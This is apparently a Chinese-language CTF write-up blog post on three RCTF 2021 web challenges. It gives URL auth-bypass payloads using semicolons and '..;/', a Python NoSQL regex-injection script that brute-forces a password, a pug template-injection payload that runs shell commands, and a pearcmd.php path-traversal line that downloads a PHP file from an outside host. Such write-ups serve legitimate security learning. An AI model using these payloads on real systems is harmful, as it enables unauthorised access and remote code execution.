2021Rctf

当时在打羊城杯,打完以后就很累就没怎么打rctf,不过题目也是我没见过的trick就是了,这里记录一下

easyphp

分号前段认证绕过

原理

1.httpservletrequest中url解析函数

几种解析方法:

request.getRequestURL():返回全路径;request.getRequestURI():返回除去Host(域名或IP)部分的路径;request.getContextPath():返回工程名部分,若是工程映射为/,则返回为空;request.getServletPath():返回除去Host和工程名部分的路径;request.getPathInfo():仅返回传递到Servlet的路径,若是没有传递额外的路径信息,则此返回Null;

当后台程序使用getRequestURI()或getRequestURL()函数来解析用户请求的URL时,若URL中包含了一些特殊符号,则可能会形成访问限制绕过的安全风险,其中分号;就是其一。

2.对url特殊字符的处理

1)分号
在url中遇到分号,会将;xxx/中的分号与斜杠之间的字符串以及分号自己都去掉
2)斜杠/
判断是否有连续的/,存在的话则循环删除掉多余的/
3)./和../
将/./删除掉,将/../进行跨目录拼接处理

总结:

/;xxx/实现分割目录/..;/实现跨目录,经常使用在../被禁用的场景下;.css或;.js等利用白名单绕过认证鉴权

payload:

加/绕过:http://localhost:8080//urltest/info/secret.jsp
跨目录:http://localhost:8080/urltest/anything/../info/secret.jsp 或http://localhost:8080/urltest/anything/..;/info/secret.jsp
./绕过:http://localhost:8080/urltest/./info/secret.jsp
;绕过:http://localhost:8080/urltest/;anything/info/secret.jsp

题目解析

看了一下大神们的解释,才发现这题有多麻烦,核心的考点是urldecode和urlencode的交错使用,
1.所有以/admin打头的请求只要不是localhost发起的请求,就会被dump掉,但是很巧的是,后面有一个匹配是匹配最后/进行url去访问
所以就有了/aa/admin
2.为什么是%3flogin而不是?login,首先需要url中有login,不然的也会被dump掉,但是有了login又有了?login就不会被当做是url的一部分,而是一个string,当这里urlencode以后,就会被当成是url的一部分了,并且后面还有decode解码回来,所以不会影响访问
3.为什么需要二次编码?因为出题人就是这样设置的=

public function route(Request $request) {
$url_decoded = urldecode( $request->url );
while ($route = $this->current()) {
if ($route !== false && $route->matchMethod($request->method) && $route->matchUrl($url_decoded, $this->case_sensitive)) {
return $route;
}
$this->next();
}

return false;
}
   if (preg_match('#^'.$regex.'(?:\?.*)?$#'.(($case_sensitive) ? '' : 'i'), $url, $matches)) {
foreach ($ids as $k => $v) {
$this->params[$k] = (array_key_exists($k, $matches)) ? urldecode($matches[$k]) : null;
}

$this->regex = $regex;

return true;
}

return false;
}

candyshop

随便注册了一个账号登录,发现后面需要用户是active才有进一步操作
img
所以还是要先注出这个密码,根据后面的一系列跳转,发现是一个nosql数据库
img

import requests
chars='0123456789abcdef'
ans=''
url="http://123.60.21.23:23333/user/login"
s=requests.session()
for pos in range(1,100):
for ch in chars:
data={'username':'rabbit','password[$regex]':'^'+ans+ch+'.*$'}
res=s.post(url=url,data=data)
#print(data)
#print(res.text)
if 'Bad' in res.text:
ans +=ch
break
if ch=='f':
exit(0)
print(pos,ans)

跑出密码,继续追踪登录的路由:

img 发现这里有一个pug的模板渲染,且内容可控,pug渲染内容还有格式要求,这里要注意一下缩进,由于有缩进,所以其实前面的内容如果不是1之类的,可能就不行了,会导致出错之类的
username=1&candyname=1&address='+flag=global.process.mainModule.constructor._load('child_process').execSync("cat+/flag").toString()+a='

VerySafe

啥也没有,抓包的时候看到一个

Server: Caddy 

找了很久的文章都没看到相关的介绍==,然后才看到有人说了一下caddy的某个目录穿越漏洞,然后
测试还发现Caddy存在与Nginx一样的,使用cgi模式执行php时,a.jpg/.php将a.jpg当作php解析的问题,但是仍然受security.limit_extensions限制——相当于存在文件包含

/../../../../usr/local/lib/php/pearcmd.php?f=pearcmd&+install+-R+/tmp/+http://110.42.133.xxx/pear.php
/../../../../tmp/tmp/pear/download/pear.php

img

Author

vague huang

Posted on

2021-09-15

Updated on

2022-08-04

Licensed under

Comments